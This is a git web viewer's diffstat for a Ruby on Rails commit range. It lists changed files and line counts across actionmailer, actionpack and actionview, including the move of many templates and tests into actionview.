aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--.travis.yml13
-rw-r--r--Gemfile41
-rw-r--r--RAILS_VERSION2
-rw-r--r--README.md39
-rw-r--r--RELEASING_RAILS.rdoc37
-rw-r--r--Rakefile53
-rw-r--r--actionmailer/CHANGELOG.md4
-rw-r--r--actionmailer/MIT-LICENSE2
-rw-r--r--actionmailer/README.rdoc8
-rw-r--r--actionmailer/Rakefile3
-rw-r--r--actionmailer/actionmailer.gemspec1
-rw-r--r--actionmailer/lib/action_mailer.rb5
-rw-r--r--actionmailer/lib/action_mailer/base.rb146
-rw-r--r--actionmailer/lib/action_mailer/delivery_methods.rb2
-rw-r--r--actionmailer/lib/action_mailer/gem_version.rb15
-rw-r--r--actionmailer/lib/action_mailer/log_subscriber.rb9
-rw-r--r--actionmailer/lib/action_mailer/mail_helper.rb2
-rw-r--r--actionmailer/lib/action_mailer/preview.rb104
-rw-r--r--actionmailer/lib/action_mailer/railtie.rb10
-rw-r--r--actionmailer/lib/action_mailer/version.rb11
-rw-r--r--actionmailer/test/abstract_unit.rb20
-rw-r--r--actionmailer/test/base_test.rb85
-rw-r--r--actionmailer/test/delivery_methods_test.rb32
-rw-r--r--actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb2
-rw-r--r--actionmailer/test/fixtures/raw_email1020
-rw-r--r--actionmailer/test/fixtures/raw_email1232
-rw-r--r--actionmailer/test/fixtures/raw_email1329
-rw-r--r--actionmailer/test/fixtures/raw_email2114
-rw-r--r--actionmailer/test/fixtures/raw_email370
-rw-r--r--actionmailer/test/fixtures/raw_email459
-rw-r--r--actionmailer/test/fixtures/raw_email519
-rw-r--r--actionmailer/test/fixtures/raw_email620
-rw-r--r--actionmailer/test/fixtures/raw_email766
-rw-r--r--actionmailer/test/fixtures/raw_email847
-rw-r--r--actionmailer/test/fixtures/raw_email928
-rw-r--r--actionmailer/test/fixtures/raw_email_quoted_with_0d0a14
-rw-r--r--actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type104
-rw-r--r--actionmailer/test/fixtures/raw_email_with_nested_attachment100
-rw-r--r--actionmailer/test/fixtures/raw_email_with_partially_quoted_subject14
-rw-r--r--actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb2
-rw-r--r--actionmailer/test/i18n_with_controller_test.rb1
-rw-r--r--actionmailer/test/log_subscriber_test.rb9
-rw-r--r--actionmailer/test/mailers/base_mailer.rb2
-rw-r--r--actionmailer/test/mailers/proc_mailer.rb3
-rw-r--r--actionpack/CHANGELOG.md96
-rw-r--r--actionpack/MIT-LICENSE2
-rw-r--r--actionpack/README.rdoc5
-rw-r--r--actionpack/RUNNING_UNIT_TESTS.rdoc20
-rw-r--r--actionpack/Rakefile9
-rw-r--r--actionpack/actionpack.gemspec7
-rw-r--r--actionpack/lib/abstract_controller.rb3
-rw-r--r--actionpack/lib/abstract_controller/callbacks.rb68
-rw-r--r--actionpack/lib/abstract_controller/collector.rb12
-rw-r--r--actionpack/lib/abstract_controller/helpers.rb28
-rw-r--r--actionpack/lib/abstract_controller/rendering.rb178
-rw-r--r--actionpack/lib/action_controller.rb14
-rw-r--r--actionpack/lib/action_controller/base.rb25
-rw-r--r--actionpack/lib/action_controller/caching.rb12
-rw-r--r--actionpack/lib/action_controller/deprecated.rb7
-rw-r--r--actionpack/lib/action_controller/deprecated/integration_test.rb5
-rw-r--r--actionpack/lib/action_controller/log_subscriber.rb11
-rw-r--r--actionpack/lib/action_controller/metal.rb3
-rw-r--r--actionpack/lib/action_controller/metal/data_streaming.rb2
-rw-r--r--actionpack/lib/action_controller/metal/flash.rb19
-rw-r--r--actionpack/lib/action_controller/metal/force_ssl.rb2
-rw-r--r--actionpack/lib/action_controller/metal/head.rb4
-rw-r--r--actionpack/lib/action_controller/metal/helpers.rb8
-rw-r--r--actionpack/lib/action_controller/metal/http_authentication.rb14
-rw-r--r--actionpack/lib/action_controller/metal/instrumentation.rb2
-rw-r--r--actionpack/lib/action_controller/metal/live.rb132
-rw-r--r--actionpack/lib/action_controller/metal/mime_responds.rb146
-rw-r--r--actionpack/lib/action_controller/metal/params_wrapper.rb15
-rw-r--r--actionpack/lib/action_controller/metal/redirecting.rb41
-rw-r--r--actionpack/lib/action_controller/metal/renderers.rb10
-rw-r--r--actionpack/lib/action_controller/metal/rendering.rb59
-rw-r--r--actionpack/lib/action_controller/metal/request_forgery_protection.rb88
-rw-r--r--actionpack/lib/action_controller/metal/responder.rb10
-rw-r--r--actionpack/lib/action_controller/metal/streaming.rb38
-rw-r--r--actionpack/lib/action_controller/metal/strong_parameters.rb57
-rw-r--r--actionpack/lib/action_controller/metal/testing.rb1
-rw-r--r--actionpack/lib/action_controller/metal/url_for.rb4
-rw-r--r--actionpack/lib/action_controller/railtie.rb2
-rw-r--r--actionpack/lib/action_controller/test_case.rb89
-rw-r--r--actionpack/lib/action_dispatch.rb13
-rw-r--r--actionpack/lib/action_dispatch/http/filter_parameters.rb4
-rw-r--r--actionpack/lib/action_dispatch/http/filter_redirect.rb9
-rw-r--r--actionpack/lib/action_dispatch/http/mime_negotiation.rb20
-rw-r--r--actionpack/lib/action_dispatch/http/mime_type.rb13
-rw-r--r--actionpack/lib/action_dispatch/http/mime_types.rb1
-rw-r--r--actionpack/lib/action_dispatch/http/parameters.rb29
-rw-r--r--actionpack/lib/action_dispatch/http/request.rb37
-rw-r--r--actionpack/lib/action_dispatch/http/response.rb52
-rw-r--r--actionpack/lib/action_dispatch/http/upload.rb14
-rw-r--r--actionpack/lib/action_dispatch/journey/formatter.rb14
-rw-r--r--actionpack/lib/action_dispatch/journey/gtg/builder.rb6
-rw-r--r--actionpack/lib/action_dispatch/journey/gtg/simulator.rb17
-rw-r--r--actionpack/lib/action_dispatch/journey/gtg/transition_table.rb67
-rw-r--r--actionpack/lib/action_dispatch/journey/nfa/dot.rb4
-rw-r--r--actionpack/lib/action_dispatch/journey/nfa/simulator.rb2
-rw-r--r--actionpack/lib/action_dispatch/journey/nfa/transition_table.rb10
-rw-r--r--actionpack/lib/action_dispatch/journey/parser.rb2
-rw-r--r--actionpack/lib/action_dispatch/journey/path/pattern.rb4
-rw-r--r--actionpack/lib/action_dispatch/journey/route.rb16
-rw-r--r--actionpack/lib/action_dispatch/journey/router.rb11
-rw-r--r--actionpack/lib/action_dispatch/journey/router/utils.rb71
-rw-r--r--actionpack/lib/action_dispatch/journey/routes.rb1
-rw-r--r--actionpack/lib/action_dispatch/journey/visitors.rb95
-rw-r--r--actionpack/lib/action_dispatch/middleware/callbacks.rb12
-rw-r--r--actionpack/lib/action_dispatch/middleware/cookies.rb148
-rw-r--r--actionpack/lib/action_dispatch/middleware/debug_exceptions.rb34
-rw-r--r--actionpack/lib/action_dispatch/middleware/exception_wrapper.rb12
-rw-r--r--actionpack/lib/action_dispatch/middleware/flash.rb27
-rw-r--r--actionpack/lib/action_dispatch/middleware/params_parser.rb2
-rw-r--r--actionpack/lib/action_dispatch/middleware/reloader.rb13
-rw-r--r--actionpack/lib/action_dispatch/middleware/remote_ip.rb8
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/cookie_store.rb13
-rw-r--r--actionpack/lib/action_dispatch/middleware/show_exceptions.rb7
-rw-r--r--actionpack/lib/action_dispatch/middleware/ssl.rb15
-rw-r--r--actionpack/lib/action_dispatch/middleware/static.rb6
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb (renamed from actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb)0
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb23
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb (renamed from actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb)0
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb15
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb (renamed from actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb)2
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb9
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb (renamed from actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb)2
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb3
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb (renamed from actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb)2
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb11
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb (renamed from actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb)2
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb8
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb (renamed from actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb)2
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb3
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb182
-rw-r--r--actionpack/lib/action_dispatch/railtie.rb2
-rw-r--r--actionpack/lib/action_dispatch/request/session.rb12
-rw-r--r--actionpack/lib/action_dispatch/request/utils.rb19
-rw-r--r--actionpack/lib/action_dispatch/routing.rb2
-rw-r--r--actionpack/lib/action_dispatch/routing/inspector.rb11
-rw-r--r--actionpack/lib/action_dispatch/routing/mapper.rb247
-rw-r--r--actionpack/lib/action_dispatch/routing/polymorphic_routes.rb31
-rw-r--r--actionpack/lib/action_dispatch/routing/redirection.rb63
-rw-r--r--actionpack/lib/action_dispatch/routing/route_set.rb75
-rw-r--r--actionpack/lib/action_dispatch/routing/url_for.rb4
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/dom.rb8
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/response.rb23
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/routing.rb2
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/selector.rb8
-rw-r--r--actionpack/lib/action_dispatch/testing/integration.rb10
-rw-r--r--actionpack/lib/action_dispatch/testing/test_request.rb10
-rw-r--r--actionpack/lib/action_pack.rb2
-rw-r--r--actionpack/lib/action_pack/gem_version.rb15
-rw-r--r--actionpack/lib/action_pack/version.rb11
-rw-r--r--actionpack/test/abstract/collector_test.rb2
-rw-r--r--actionpack/test/abstract_unit.rb46
-rw-r--r--actionpack/test/active_record_unit.rb91
-rw-r--r--actionpack/test/assertions/response_assertions_test.rb18
-rw-r--r--actionpack/test/controller/action_pack_assertions_test.rb34
-rw-r--r--actionpack/test/controller/assert_select_test.rb27
-rw-r--r--actionpack/test/controller/caching_test.rb54
-rw-r--r--actionpack/test/controller/filters_test.rb36
-rw-r--r--actionpack/test/controller/flash_hash_test.rb10
-rw-r--r--actionpack/test/controller/flash_test.rb35
-rw-r--r--actionpack/test/controller/force_ssl_test.rb15
-rw-r--r--actionpack/test/controller/helper_test.rb6
-rw-r--r--actionpack/test/controller/http_digest_authentication_test.rb2
-rw-r--r--actionpack/test/controller/http_token_authentication_test.rb2
-rw-r--r--actionpack/test/controller/integration_test.rb6
-rw-r--r--actionpack/test/controller/live_stream_test.rb169
-rw-r--r--actionpack/test/controller/localized_templates_test.rb11
-rw-r--r--actionpack/test/controller/log_subscriber_test.rb11
-rw-r--r--actionpack/test/controller/mime/accept_format_test.rb92
-rw-r--r--actionpack/test/controller/mime/respond_to_test.rb771
-rw-r--r--actionpack/test/controller/mime/respond_with_test.rb (renamed from actionpack/test/controller/mime_responds_test.rb)636
-rw-r--r--actionpack/test/controller/new_base/render_body_test.rb170
-rw-r--r--actionpack/test/controller/new_base/render_html_test.rb190
-rw-r--r--actionpack/test/controller/new_base/render_plain_test.rb168
-rw-r--r--actionpack/test/controller/new_base/render_streaming_test.rb6
-rw-r--r--actionpack/test/controller/new_base/render_template_test.rb4
-rw-r--r--actionpack/test/controller/new_base/render_text_test.rb51
-rw-r--r--actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb30
-rw-r--r--actionpack/test/controller/parameters/nested_parameters_test.rb15
-rw-r--r--actionpack/test/controller/parameters/parameters_permit_test.rb41
-rw-r--r--actionpack/test/controller/parameters/parameters_require_test.rb10
-rw-r--r--actionpack/test/controller/params_wrapper_test.rb20
-rw-r--r--actionpack/test/controller/render_js_test.rb2
-rw-r--r--actionpack/test/controller/render_json_test.rb4
-rw-r--r--actionpack/test/controller/render_test.rb1406
-rw-r--r--actionpack/test/controller/request_forgery_protection_test.rb126
-rw-r--r--actionpack/test/controller/required_params_test.rb8
-rw-r--r--actionpack/test/controller/resources_test.rb5
-rw-r--r--actionpack/test/controller/routing_test.rb46
-rw-r--r--actionpack/test/controller/send_file_test.rb17
-rw-r--r--actionpack/test/controller/test_case_test.rb36
-rw-r--r--actionpack/test/controller/url_for_test.rb21
-rw-r--r--actionpack/test/controller/webservice_test.rb3
-rw-r--r--actionpack/test/dispatch/cookies_test.rb269
-rw-r--r--actionpack/test/dispatch/debug_exceptions_test.rb77
-rw-r--r--actionpack/test/dispatch/live_response_test.rb15
-rw-r--r--actionpack/test/dispatch/mime_type_test.rb6
-rw-r--r--actionpack/test/dispatch/mount_test.rb14
-rw-r--r--actionpack/test/dispatch/prefix_generation_test.rb170
-rw-r--r--actionpack/test/dispatch/rack_test.rb191
-rw-r--r--actionpack/test/dispatch/request/json_params_parsing_test.rb14
-rw-r--r--actionpack/test/dispatch/request/multipart_params_parsing_test.rb3
-rw-r--r--actionpack/test/dispatch/request/query_string_parsing_test.rb30
-rw-r--r--actionpack/test/dispatch/request/session_test.rb57
-rw-r--r--actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb52
-rw-r--r--actionpack/test/dispatch/request_test.rb607
-rw-r--r--actionpack/test/dispatch/response_test.rb23
-rw-r--r--actionpack/test/dispatch/routing/inspector_test.rb90
-rw-r--r--actionpack/test/dispatch/routing_test.rb602
-rw-r--r--actionpack/test/dispatch/session/mem_cache_store_test.rb3
-rw-r--r--actionpack/test/dispatch/ssl_test.rb36
-rw-r--r--actionpack/test/dispatch/static_test.rb30
-rw-r--r--actionpack/test/dispatch/test_request_test.rb30
-rw-r--r--actionpack/test/dispatch/uploaded_file_test.rb6
-rw-r--r--actionpack/test/dispatch/url_generation_test.rb2
-rw-r--r--actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb3
-rw-r--r--actionpack/test/fixtures/helpers/abc_helper.rb2
l---------actionpack/test/fixtures/layout_tests/layouts/symlinked1
-rw-r--r--actionpack/test/fixtures/localized/hello_world.it.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb1
-rw-r--r--actionpack/test/fixtures/respond_with/respond_with_additional_params.html.erb (renamed from actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb)0
-rw-r--r--actionpack/test/fixtures/公共/foo/bar.html1
-rw-r--r--actionpack/test/fixtures/公共/foo/baz.css3
-rw-r--r--actionpack/test/fixtures/公共/foo/index.html1
-rw-r--r--actionpack/test/fixtures/公共/foo/こんにちは.html1
-rw-r--r--actionpack/test/fixtures/公共/index.html1
-rw-r--r--actionpack/test/journey/gtg/transition_table_test.rb4
-rw-r--r--actionpack/test/journey/router/utils_test.rb16
-rw-r--r--actionpack/test/journey/router_test.rb35
-rw-r--r--actionpack/test/lib/controller/fake_models.rb105
-rw-r--r--actionpack/test/routing/helper_test.rb2
-rw-r--r--actionview/CHANGELOG.md80
-rw-r--r--actionview/MIT-LICENSE2
-rw-r--r--actionview/README.rdoc5
-rw-r--r--actionview/RUNNING_UNIT_TESTS.rdoc (renamed from actionview/RUNNING_UNIT_TESTS)2
-rw-r--r--actionview/Rakefile43
-rw-r--r--actionview/actionview.gemspec8
-rw-r--r--actionview/lib/action_view.rb13
-rw-r--r--actionview/lib/action_view/base.rb10
-rw-r--r--actionview/lib/action_view/dependency_tracker.rb92
-rw-r--r--actionview/lib/action_view/digestor.rb69
-rw-r--r--actionview/lib/action_view/gem_version.rb15
-rw-r--r--actionview/lib/action_view/helpers.rb6
-rw-r--r--actionview/lib/action_view/helpers/active_model_helper.rb2
-rw-r--r--actionview/lib/action_view/helpers/asset_tag_helper.rb85
-rw-r--r--actionview/lib/action_view/helpers/asset_url_helper.rb8
-rw-r--r--actionview/lib/action_view/helpers/atom_feed_helper.rb4
-rw-r--r--actionview/lib/action_view/helpers/cache_helper.rb12
-rw-r--r--actionview/lib/action_view/helpers/csrf_helper.rb7
-rw-r--r--actionview/lib/action_view/helpers/date_helper.rb83
-rw-r--r--actionview/lib/action_view/helpers/form_helper.rb31
-rw-r--r--actionview/lib/action_view/helpers/form_options_helper.rb58
-rw-r--r--actionview/lib/action_view/helpers/form_tag_helper.rb138
-rw-r--r--actionview/lib/action_view/helpers/number_helper.rb69
-rw-r--r--actionview/lib/action_view/helpers/record_tag_helper.rb2
-rw-r--r--actionview/lib/action_view/helpers/rendering_helper.rb8
-rw-r--r--actionview/lib/action_view/helpers/tag_helper.rb14
-rw-r--r--actionview/lib/action_view/helpers/tags.rb64
-rw-r--r--actionview/lib/action_view/helpers/tags/base.rb3
-rw-r--r--actionview/lib/action_view/helpers/tags/collection_check_boxes.rb20
-rw-r--r--actionview/lib/action_view/helpers/tags/collection_helpers.rb5
-rw-r--r--actionview/lib/action_view/helpers/tags/color_field.rb2
-rw-r--r--actionview/lib/action_view/helpers/tags/datetime_field.rb2
-rw-r--r--actionview/lib/action_view/helpers/tags/label.rb2
-rw-r--r--actionview/lib/action_view/helpers/tags/select.rb3
-rw-r--r--actionview/lib/action_view/helpers/tags/text_area.rb2
-rw-r--r--actionview/lib/action_view/helpers/tags/text_field.rb4
-rw-r--r--actionview/lib/action_view/helpers/text_helper.rb30
-rw-r--r--actionview/lib/action_view/helpers/translation_helper.rb30
-rw-r--r--actionview/lib/action_view/helpers/url_helper.rb52
-rw-r--r--actionview/lib/action_view/layouts.rb (renamed from actionpack/lib/abstract_controller/layouts.rb)29
-rw-r--r--actionview/lib/action_view/log_subscriber.rb18
-rw-r--r--actionview/lib/action_view/lookup_context.rb27
-rw-r--r--actionview/lib/action_view/railtie.rb10
-rw-r--r--actionview/lib/action_view/renderer/partial_renderer.rb2
-rw-r--r--actionview/lib/action_view/renderer/streaming_template_renderer.rb2
-rw-r--r--actionview/lib/action_view/renderer/template_renderer.rb12
-rw-r--r--actionview/lib/action_view/rendering.rb145
-rw-r--r--actionview/lib/action_view/routing_url_for.rb10
-rw-r--r--actionview/lib/action_view/tasks/dependencies.rake17
-rw-r--r--actionview/lib/action_view/template.rb8
-rw-r--r--actionview/lib/action_view/template/error.rb7
-rw-r--r--actionview/lib/action_view/template/handlers/erb.rb4
-rw-r--r--actionview/lib/action_view/template/html.rb34
-rw-r--r--actionview/lib/action_view/template/resolver.rb36
-rw-r--r--actionview/lib/action_view/template/text.rb2
-rw-r--r--actionview/lib/action_view/template/types.rb2
-rw-r--r--actionview/lib/action_view/test_case.rb3
-rw-r--r--actionview/lib/action_view/testing/resolvers.rb14
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/node.rb4
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb2
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/selector.rb2
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb2
-rw-r--r--actionview/lib/action_view/version.rb11
-rw-r--r--actionview/lib/action_view/view_paths.rb (renamed from actionpack/lib/abstract_controller/view_paths.rb)2
-rw-r--r--actionview/test/abstract_unit.rb63
-rw-r--r--actionview/test/actionpack/abstract/abstract_controller_test.rb (renamed from actionpack/test/abstract/abstract_controller_test.rb)3
-rw-r--r--actionview/test/actionpack/abstract/helper_test.rb (renamed from actionpack/test/abstract/helper_test.rb)36
-rw-r--r--actionview/test/actionpack/abstract/layouts_test.rb (renamed from actionpack/test/abstract/layouts_test.rb)11
-rw-r--r--actionview/test/actionpack/abstract/render_test.rb (renamed from actionpack/test/abstract/render_test.rb)1
-rw-r--r--actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb (renamed from actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb (renamed from actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb (renamed from actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/abstract_controller/testing/me5/index.erb (renamed from actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/action_with_ivars.erb (renamed from actionpack/test/abstract/views/action_with_ivars.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/helper_test.erb (renamed from actionpack/test/abstract/views/helper_test.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/index.erb (renamed from actionpack/test/abstract/views/index.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb (renamed from actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/layouts/application.erb (renamed from actionpack/test/abstract/views/layouts/application.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/naked_render.erb (renamed from actionpack/test/abstract/views/naked_render.erb)0
-rw-r--r--actionview/test/actionpack/controller/capture_test.rb (renamed from actionpack/test/controller/capture_test.rb)2
-rw-r--r--actionview/test/actionpack/controller/layout_test.rb (renamed from actionpack/test/controller/layout_test.rb)12
-rw-r--r--actionview/test/actionpack/controller/render_test.rb1335
-rw-r--r--actionview/test/actionpack/controller/view_paths_test.rb (renamed from actionpack/test/controller/view_paths_test.rb)0
-rw-r--r--actionview/test/activerecord/form_helper_activerecord_test.rb9
-rw-r--r--actionview/test/activerecord/polymorphic_routes_test.rb33
-rw-r--r--actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/customers/_customer.html.erb (renamed from actionpack/test/fixtures/customers/_customer.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/fun/games/_form.erb (renamed from actionpack/test/fixtures/fun/games/_form.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/fun/games/hello_world.erb (renamed from actionpack/test/fixtures/fun/games/hello_world.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb (renamed from actionpack/test/fixtures/good_customers/_good_customer.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/hello.html (renamed from actionpack/test/fixtures/hello.html)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb (renamed from actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb (renamed from actionpack/test/fixtures/layout_tests/layouts/item.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb (renamed from actionpack/test/fixtures/layout_tests/layouts/layout_test.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb (renamed from actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb5
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab (renamed from actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb (renamed from actionpack/test/fixtures/layout_tests/views/goodbye.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/views/hello.erb (renamed from actionpack/test/fixtures/layout_tests/views/hello.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_column.html.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_customers.erb1
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_yield_only.erb1
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb1
-rw-r--r--actionview/test/fixtures/actionpack/layouts/block_with_layout.erb3
-rw-r--r--actionview/test/fixtures/actionpack/layouts/builder.builder3
-rw-r--r--actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb3
-rw-r--r--actionview/test/fixtures/actionpack/layouts/standard.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/layouts/streaming.erb4
-rw-r--r--actionview/test/fixtures/actionpack/layouts/talk_from_action.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/layouts/xhr.html.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/yield.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb2
-rw-r--r--actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb (renamed from actionpack/test/fixtures/quiz/questions/_question.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/shared.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_changing_priority.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_changing_priority.json.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_counter.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_counter.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_greeting.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_with_var.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_form.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_hash_greeting.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_hash_object.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/_hello.builder1
-rw-r--r--actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_labelling_form.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb3
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial.js.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_only.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_only_html.html1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_with_partial.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/_person.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb13
-rw-r--r--actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/capturing.erb4
-rw-r--r--actionview/test/fixtures/actionpack/test/change_priority.html.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/content_for.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/content_for_concatenated.erb3
-rw-r--r--actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder1
-rw-r--r--actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/greeting.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/greeting.xml.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/hello,world.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/hello.builder4
-rw-r--r--actionview/test/fixtures/actionpack/test/hello/hello.erb1
